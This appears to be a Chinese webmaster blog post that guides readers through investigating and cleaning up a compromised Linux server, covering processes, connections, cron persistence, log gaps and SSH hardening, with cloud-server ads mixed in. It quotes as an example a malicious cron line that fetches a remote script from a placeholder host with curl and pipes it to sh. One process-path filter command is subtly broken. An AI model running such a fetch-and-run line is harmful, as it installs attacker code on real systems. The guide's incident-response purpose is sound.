服务器半夜疯狂往外发数据?别慌,手把手教你揪出Linux里的“内鬼”

做站长这些年,最怕的不是网站被DDoS,也不是数据库崩了,而是某天登录服务器,发现CPU莫名跑满、带宽被吃光、或者收到云厂商发来的“对外攻击”警告邮件。这时候大概率意味着:你的Linux服务器已经被入侵,变成了别人的“肉鸡”或挖矿矿机。

很多朋友遇到这种情况第一反应是重装系统,但如果不搞清楚“怎么进来的”以及“怎么藏身的”,重装后往往还会再次中招。今天笔者就结合自己踩过的坑,把Linux服务器入侵排查的标准流程拆解成几个高频疑问,希望能帮到正对着终端发愁的你。

高频疑问一:服务器好像被入侵了,我该从哪几个方向下手排查?

💡 推荐阅读:别急着改源码:一份开源Docker项目的二次开发实战心法,从编译到上线的避坑指南

Q:感觉服务器异常,但毫无头绪,有没有一套通用的排查逻辑?

站长经验:当然有。排查就像破案,核心逻辑是“由外到内,由浅入深”。不要一上来就去翻系统日志,先看最直观的资源占用和网络连接。下面这四步是我每次必走的流程:

  • 看资源:谁在疯狂消耗CPU和内存?
  • 看网络:谁在偷偷建立对外连接?
  • 看进程:有没有名字奇怪或路径异常的进程?
  • 看持久化:攻击者是怎么做到重启后依然存活的?

Q:具体用什么命令能快速定位可疑进程?

站长经验:别只用top,那个只能看个大概。我习惯用下面这几条组合拳,能快速把“内鬼”揪出来:

# 1. 查看CPU占用排名前10的进程,注意看COMMAND列有没有乱码或奇怪名字
ps aux --sort=-%cpu | head -n 11

# 2. 查看所有进程的完整启动路径,挖矿病毒经常伪装成系统进程但路径在 /tmp 或 /dev/shm
ls -l /proc/*/exe | grep -v '^/usr' | grep -v '^/bin' | grep -v '^/sbin'

# 3. 查看隐藏进程(有些rootkit会隐藏进程,对比/proc和ps结果)
ps -ef | awk '{print $2}' | sort -n | uniq > ps.txt
ls /proc | grep -E '^[0-9]+$' | sort -n | uniq > proc.txt
diff ps.txt proc.txt

高频疑问二:发现异常外连IP,怎么确认是不是攻击者在回连C&C?

🔥 【限时特惠福利】高性价比独享云服务器限时 1 折起

搭建网站或部署容器推荐选择高稳定性独享云服务器。限时特惠通道开放中,点击即可领取专属满减代金券与特惠折扣:

👉 立刻领取云服务器限时优惠券

💡 延伸阅读:告别命令行折腾!Nginx Proxy Manager 与裸配 Nginx、Traefik 的深度横评,手把手教你用 Docker 一键部署可视化管理面板

Q:用netstat看到一堆ESTABLISHED连接,哪些是正常的,哪些是恶意的?

站长经验:这是最考验经验的地方。正常的Web服务器会有大量80/443端口的连接,但如果出现大量对外连接陌生IP的非常规端口(如3333、4444、5555、6666等),基本可以断定是矿池连接或反弹Shell。

我通常用这个命令来筛选:

# 查看所有已建立的TCP连接,并显示对应的进程PID
netstat -antp | grep ESTABLISHED

# 如果netstat没装,用ss命令更快
ss -antp | grep ESTAB

重点关注状态为ESTABLISHED且PID对应的进程路径不在标准目录下的连接。比如一个进程路径是/tmp/.X11-unix/kinsing,那不用想了,直接kill掉并删除文件。

Q:攻击者留下的定时任务和启动项怎么查?

站长经验:这是最容易被忽略的“不死小强”环节。很多挖矿病毒会写crontab,每几分钟拉取一次更新。排查命令如下:

# 查看当前用户的定时任务
crontab -l

# 查看系统级定时任务(重点看 /etc/cron.d/ 和 /var/spool/cron/)
ls -la /etc/cron*
cat /etc/crontab
ls -la /var/spool/cron/

# 查看开机启动项
systemctl list-unit-files --type=service | grep enabled
cat /etc/rc.local
ls -la /etc/init.d/

如果看到类似 */5 * * * * curl -fsSL http://xxx.xxx/xx.sh | sh 这种,那就是实锤了。

高频疑问三:日志被清空了怎么办?还有没有其他线索?

💡 深度技术指南:告别公有云限速与隐私焦虑:用Docker打造私有网盘,Nextcloud与Seafile谁才是你的真命天子?

Q:/var/log/secure 和 messages 都被删了,还能溯源吗?

站长经验:高级攻击者进来第一件事就是rm -rf /var/log/*。但别急,还有几个地方能挖出线索:

  • 查看登录历史:last 和 lastb 命令有时会残留记录,但攻击者可能也会清理 /var/log/wtmp。
  • 查看用户家目录的 .bash_history:很多新手攻击者忘了清这个,里面能直接看到他们干了什么。
  • 查看 /root/.ssh/authorized_keys:攻击者很可能留了后门公钥,实现免密登录。
  • 查看进程的打开文件:用 lsof -p PID 看恶意进程打开了哪些文件,顺藤摸瓜找到病毒母体。

Q:有没有一键排查脚本推荐?

站长经验:网上有很多开源的应急响应脚本,比如 GScan 或 lynis,但笔者建议不要完全依赖自动化工具。攻击者会针对常见工具做免杀。最好的工具是你的眼睛和这几条核心命令。如果你实在拿不准,可以把可疑进程的哈希值放到 VirusTotal 上查一下,基本就水落石出了。

根因深度剖析:服务器到底是怎么被攻破的?

排查完清理完,如果不搞清楚入侵原因,等于白干。根据笔者经验,90%的Linux服务器入侵都源于以下三个漏洞:

入侵途径 典型特征 修复难度
SSH弱口令爆破 日志大量 Failed password,成功登录后直接提权 低(改端口+密钥登录)
Web应用漏洞(如Redis未授权、ThinkPHP RCE) Web用户权限执行了系统命令,下载了恶意脚本 中(需修复代码或限制权限)
第三方组件漏洞(如Log4j、Fastjson) Java进程异常外连,内存马注入 高(需升级组件)

解决方案代码:清理与加固实操

确认入侵后,按以下步骤进行清理(操作前建议先快照备份,防止误删):

# 1. 隔离恶意进程(先停止,再删除文件)
kill -9 [恶意PID]
rm -rf /tmp/kinsing /tmp/.X11-unix  # 根据实际路径替换

# 2. 清理定时任务
crontab -r  # 清空当前用户定时任务
rm -f /etc/cron.d/恶意文件名

# 3. 检查并删除可疑SSH公钥
cat /root/.ssh/authorized_keys  # 如果有陌生key,全部删除
> /root/.ssh/authorized_keys

# 4. 修改SSH配置,禁用密码登录
vim /etc/ssh/sshd_config
# 修改以下参数:
# PasswordAuthentication no
# PermitRootLogin prohibit-password
# Port 22222  # 改成非标准端口
systemctl restart sshd

预防建议:别等出事了才后悔

与其事后排查,不如提前做好防御。笔者给各位站长几条掏心窝子的建议:

  • 买服务器别贪便宜:尽量选择靠谱的云厂商,虽然贵一点,但安全组和基础防护更完善。那些几块钱一个月的杂牌VPS,往往就是挖矿重灾区。
  • SSH密钥登录是底线:密码再复杂也有可能被爆破,密钥登录+改端口能挡住99%的脚本小子。
  • 最小权限原则:Web服务用www用户跑,数据库用mysql用户跑,别什么都用root。
  • 定期打补丁:尤其是Redis、Nginx、PHP这些暴露在公网的服务,有漏洞赶紧升。
  • 装个轻量级HIDS:比如Wazuh或osquery,能实时监控文件变动和异常进程,比事后救火强得多。

服务器安全是个持续对抗的过程,没有一劳永逸。但只要掌握了这套排查思路,下次再遇到半夜报警,你也能淡定地打开终端,三下五除二把“内鬼”清理干净。希望这篇笔记能帮到你,如果排查中遇到什么诡异情况,也欢迎随时和笔者交流。

相关技术专题与延伸阅读

滚动至顶部